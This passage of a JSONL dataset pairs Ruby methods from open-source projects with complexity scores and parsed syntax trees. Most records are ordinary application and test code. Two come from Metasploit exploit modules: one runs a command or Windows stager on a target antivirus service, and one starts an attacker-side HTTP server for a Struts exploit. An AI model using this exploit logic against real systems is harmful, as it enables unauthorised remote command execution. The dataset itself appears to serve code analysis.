end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"execute!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"recipe_revision\"]},\"validate!\",{\"type\":\"sym\",\"children\":[\"upsert\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"recipe_revision_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"upsert_recipe_revision\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]}]}]}]}]}]}","id":"76b851de-a53c-45f2-8cc7-d6624280c4e8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/verifies_with_email.rb","start_line":130,"raw_source":"def skip_verify_with_email?\n    two_factor_enabled? || Gitlab::Qa.request?(request.user_agent)\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"skip_verify_with_email?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"two_factor_enabled?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Qa\"]},\"request?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"user_agent\"]}]}]}]}","id":"736a79c3-573f-4f81-a610-e0b66980759d"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/duration.rb","start_line":436,"raw_source":"def since(time = ::Time.current)\n      sum(1, time)\n    end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"since\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Time\"]},\"current\"]}]}]},{\"type\":\"send\",\"children\":[null,\"sum\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"lvar\",\"children\":[\"time\"]}]}]}","id":"9b15e088-f1f4-4e42-aa49-69d25a78a5f6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq-reliable-fetch/spec/fetch_shared_examples.rb","start_line":206,"raw_source":"def working_queue_size(queue_name)\n  Sidekiq.redis do |c|\n    c.llen(Sidekiq::BaseReliableFetch.working_queue_name(\"queue:#{queue_name}\"))\n  end\nend","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"working_queue_size\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"queue_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"llen\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"BaseReliableFetch\"]},\"working_queue_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"queue:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queue_name\"]}]}]}]}]}]}]}","id":"bba0fb3f-4759-49ed-b38d-5eaa979a4b7d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/antivirus/ams_hndlrsvc.rb","start_line":156,"raw_source":"def exploit\n    unless datastore['CMD'].blank?\n      print_status(\"Executing command '#{datastore['CMD']}'\")\n      execute_command(datastore['CMD'])\n      return\n    end\n\n    case target['Platform']\n    when 'win'\n      if datastore['LHOST'].blank?\n        fail_with(Failure::Unknown, 'If no custom CMD is set, LHOST is required.')\n      end\n      windows_stager\n    else\n      fail_with(Failure::Unknown, 'Target not supported.')\n    end\n\n    handler\n  end","complexity_score":27.3,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CMD\"]}]},\"blank?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing command '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CMD\"]}]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CMD\"]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Platform\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LHOST\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"If no custom CMD is set, LHOST is required.\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"windows_stager\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Target not supported.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]}]}]}","id":"70b394af-b114-47ed-a02b-b8ea4b3ad61b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/base/relation_factory.rb","start_line":191,"raw_source":"def imported_object\n          if existing_or_new_object.respond_to?(:importing)\n            existing_or_new_object.importing = true\n          end\n\n          if existing_or_new_object.respond_to?(:imported_from)\n            existing_or_new_object.imported_from = @import_source\n          end\n\n          if @original_users_map.is_a?(Hash) && @original_user.present?\n            @original_users_map[existing_or_new_object] = @original_user\n          end\n\n          existing_or_new_object\n        rescue ActiveRecord::RecordNotUnique\n          # as the operation is not atomic, retry in the unlikely scenario an INSERT is\n          # performed on the same object between the SELECT and the INSERT\n          @imported_object_retries += 1\n          retry if @imported_object_retries < IMPORTED_OBJECT_MAX_RETRIES\n        end","complexity_score":27.33,"ast_json":"{\"type\":\"def\",\"children\":[\"imported_object\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"existing_or_new_object\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"importing\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"existing_or_new_object\"]},\"importing=\",{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"existing_or_new_object\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"imported_from\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"existing_or_new_object\"]},\"imported_from=\",{\"type\":\"ivar\",\"children\":[\"@import_source\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@original_users_map\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@original_user\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@original_users_map\"]},\"[]=\",{\"type\":\"send\",\"children\":[null,\"existing_or_new_object\"]},{\"type\":\"ivar\",\"children\":[\"@original_user\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"existing_or_new_object\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotUnique\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@imported_object_retries\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@imported_object_retries\"]},\"<\",{\"type\":\"const\",\"children\":[null,\"IMPORTED_OBJECT_MAX_RETRIES\"]}]},{\"type\":\"retry\",\"children\":[]},null]}]}]},null]}]}","id":"f54e6e67-1ef5-439c-a11c-1c5e31bbd583"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/taxon_image.rb","start_line":7,"raw_source":"def styles\n      self.class.styles.map do |_, size|\n        width, height = size[/(\\d+)x(\\d+)/].split('x').map(&:to_i)\n\n        {\n          url: generate_url(size: size),\n          size: size,\n          width: width,\n          height: height\n        }\n      end\n    end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"styles\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"styles\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"size\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"width\"]},{\"type\":\"lvasgn\",\"children\":[\"height\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]},\"[]\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(\\\\d+)x(\\\\d+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"split\",{\"type\":\"str\",\"children\":[\"x\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_i\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[null,\"generate_url\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"lvar\",\"children\":[\"size\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"lvar\",\"children\":[\"size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"width\"]},{\"type\":\"lvar\",\"children\":[\"width\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"height\"]},{\"type\":\"lvar\",\"children\":[\"height\"]}]}]}]}]}]}","id":"9e18971f-5ccb-4e63-a6f9-0b7fc8bd66d4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/import/bulk_imports/update_source_users_service.rb","start_line":33,"raw_source":"def source_users_with_missing_information\n        Import::SourceUser.source_users_with_missing_information(\n          namespace: namespace,\n          source_hostname: Gitlab::UrlHelpers.normalized_base_url(bulk_import.configuration.url),\n          import_type: Import::SOURCE_DIRECT_TRANSFER\n        )\n      end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"source_users_with_missing_information\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Import\"]},\"SourceUser\"]},\"source_users_with_missing_information\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"send\",\"children\":[null,\"namespace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_hostname\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"UrlHelpers\"]},\"normalized_base_url\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bulk_import\"]},\"configuration\"]},\"url\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"import_type\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Import\"]},\"SOURCE_DIRECT_TRANSFER\"]}]}]}]}]}","id":"4094f025-157e-47fc-bafd-fb01514b00e4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/struts_default_action_mapper.rb","start_line":122,"raw_source":"def start_http_service\n    if (datastore['SRVHOST'] == \"0.0.0.0\" or datastore['SRVHOST'] == \"::\")\n      srv_host = Rex::Socket.source_address(rhost)\n    else\n      srv_host = datastore['SRVHOST']\n    end\n\n    service_url = srv_host + ':' + datastore['SRVPORT'].to_s\n    print_status(\"#{rhost}:#{rport} - Starting up our web service on #{service_url} ...\")\n    start_service({\n      'Uri' => {\n        'Proc' => Proc.new { |cli, req|\n          on_request_uri(cli, req)\n        },\n        'Path' => '/'\n      },\n      'ssl' => false # do not use SSL\n    })\n\n    return service_url\n  end","complexity_score":32.3,"ast_json":"{\"type\":\"def\",\"children\":[\"start_http_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"0.0.0.0\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"::\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"srv_host\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"source_address\",{\"type\":\"send\",\"children\":[null,\"rhost\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"srv_host\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"service_url\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"srv_host\"]},\"+\",{\"type\":\"str\",\"children\":[\":\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]}]},\"to_s\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Starting up our web service on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_url\"]}]},{\"type\":\"str\",\"children\":[\" ...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"start_service\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Uri\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Proc\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Proc\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"req\"]}]},{\"type\":\"send\",\"children\":[null,\"on_request_uri\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"req\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Path\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ssl\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_url\"]}]}]}]}","id":"584a697d-4d27-4470-aa8a-2bcc3005d7c3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pagination/graphql_keyset_pagination.rb","start_line":70,"raw_source":"def decode_cursor(cursor)\n        return {} if cursor.blank?\n\n        ::Gitlab::Pagination::Keyset::Paginator::Base64CursorConverter.parse(cursor)\n      rescue StandardError\n        {}\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"decode_cursor\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cursor\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cursor\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Pagination\"]},\"Keyset\"]},\"Paginator\"]},\"Base64CursorConverter\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"cursor\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"hash\",\"children\":[]}]},null]}]}","id":"9d14ac17-a1f5-49c1-9e5d-df0792c46a2d"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/load_strategy/load_request_test.rb","start_line":8,"raw_source":"def test_db_keys\n        db_keys = [1, 2, 3]\n        load_request = LoadRequest.new(db_keys, proc {})\n\n        assert_equal(db_keys, load_request.db_keys)\n      end","complexity_score":8.35,"ast_json":"{\"type\":\"def\",\"children\":[\"test_db_keys\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"db_keys\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"lvasgn\",\"children\":[\"load_request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LoadRequest\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"db_keys\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[]},null]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"db_keys\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"load_request\"]},\"db_keys\"]}]}]}]}","id":"95571372-1d24-49f0-bbef-94c6d4f7f14f"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20130412015502_correct_counts_on_posts.rb","start_line":4,"raw_source":"def change\n    rename_column :posts, :custom_flag_count, :notify_moderators_count\n    add_column :posts, :notify_user_count, :integer, default: 0, null: false\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rename_column\",{\"type\":\"sym\",\"children\":[\"posts\"]},{\"type\":\"sym\",\"children\":[\"custom_flag_count\"]},{\"type\":\"sym\",\"children\":[\"notify_moderators_count\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"posts\"]},{\"type\":\"sym\",\"children\":[\"notify_user_count\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"13b965fe-3af9-46f8-a64b-57546fc27195"}
{"repo_name":"forem","file_path":"./repos/forem/app/liquid_tags/wikipedia_tag.rb","start_line":7,"raw_source":"def initialize(_tag_name, input, _parse_context)\n    super\n    @data = get_data(input.strip)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_tag_name\"]},{\"type\":\"arg\",\"children\":[\"input\"]},{\"type\":\"arg\",\"children\":[\"_parse_context\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@data\",{\"type\":\"send\",\"children\":[null,\"get_data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"strip\"]}]}]}]}]}","id":"e850e17a-e783-4be0-8dab-8e228854ef8a"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/store.rb","start_line":276,"raw_source":"def supported_locales_list\n      @supported_locales_list ||= (read_attribute(:supported_locales).to_s.split(',') << default_locale).compact.uniq.sort\n    end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"supported_locales_list\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@supported_locales_list\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read_attribute\",{\"type\":\"sym\",\"children\":[\"supported_locales\"]}]},\"to_s\"]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"default_locale\"]}]}]},\"compact\"]},\"uniq\"]},\"sort\"]}]}]}","id":"1c5d4e77-8867-4ad6-a15c-e858ab920369"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/object_storage/direct_upload.rb","start_line":42,"raw_source":"def to_hash\n      {\n        Timeout: TIMEOUT,\n        GetURL: get_url,\n        StoreURL: store_url,\n        DeleteURL: delete_url,\n        SkipDelete: skip_delete,\n        MultipartUpload: multipart_upload_hash,\n        CustomPutHeaders: true,\n        PutHeaders: upload_options\n      }.merge(workhorse_client_hash).compact\n    end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"to_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"Timeout\"]},{\"type\":\"const\",\"children\":[null,\"TIMEOUT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"GetURL\"]},{\"type\":\"send\",\"children\":[null,\"get_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"StoreURL\"]},{\"type\":\"send\",\"children\":[null,\"store_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"DeleteURL\"]},{\"type\":\"send\",\"children\":[null,\"delete_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"SkipDelete\"]},{\"type\":\"send\",\"children\":[null,\"skip_delete\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"MultipartUpload\"]},{\"type\":\"send\",\"children\":[null,\"multipart_upload_hash\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"CustomPutHeaders\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"PutHeaders\"]},{\"type\":\"send\",\"children\":[null,\"upload_options\"]}]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"workhorse_client_hash\"]}]},\"compact\"]}]}","id":"bfe1aac6-727a-4838-a56e-b6a7f1ecb1ab"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/health_checks/puma_check.rb","start_line":73,"raw_source":"def applicable?\n        !!@applicable\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"applicable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@applicable\"]},\"!\"]},\"!\"]}]}","id":"5efe662f-1ede-4f01-be80-b0279bfa31ea"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/serialized_attribute_test.rb","start_line":299,"raw_source":"def test_serialize_with_coder\n    some_class = Struct.new(:foo) do\n      def self.dump(value)\n        value.foo\n      end\n\n      def self.load(value)\n        new(value)\n      end\n    end\n\n    Topic.serialize(:content, coder: some_class)\n    topic = Topic.new(content: some_class.new(\"my value\"))\n    topic.save!\n    topic.reload\n    assert_kind_of some_class, topic.content\n    assert_equal some_class.new(\"my value\"), topic.content\n  end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_serialize_with_coder\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"some_class\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Struct\"]},\"new\",{\"type\":\"sym\",\"children\":[\"foo\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"dump\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"foo\"]}]},{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"load\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"serialize\",{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"coder\"]},{\"type\":\"lvar\",\"children\":[\"some_class\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"some_class\"]},\"new\",{\"type\":\"str\",\"children\":[\"my value\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"save!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"reload\"]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"lvar\",\"children\":[\"some_class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"some_class\"]},\"new\",{\"type\":\"str\",\"children\":[\"my value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"content\"]}]}]}]}","id":"27532a90-7d67-4d5c-8572-ce581f273c0b"}
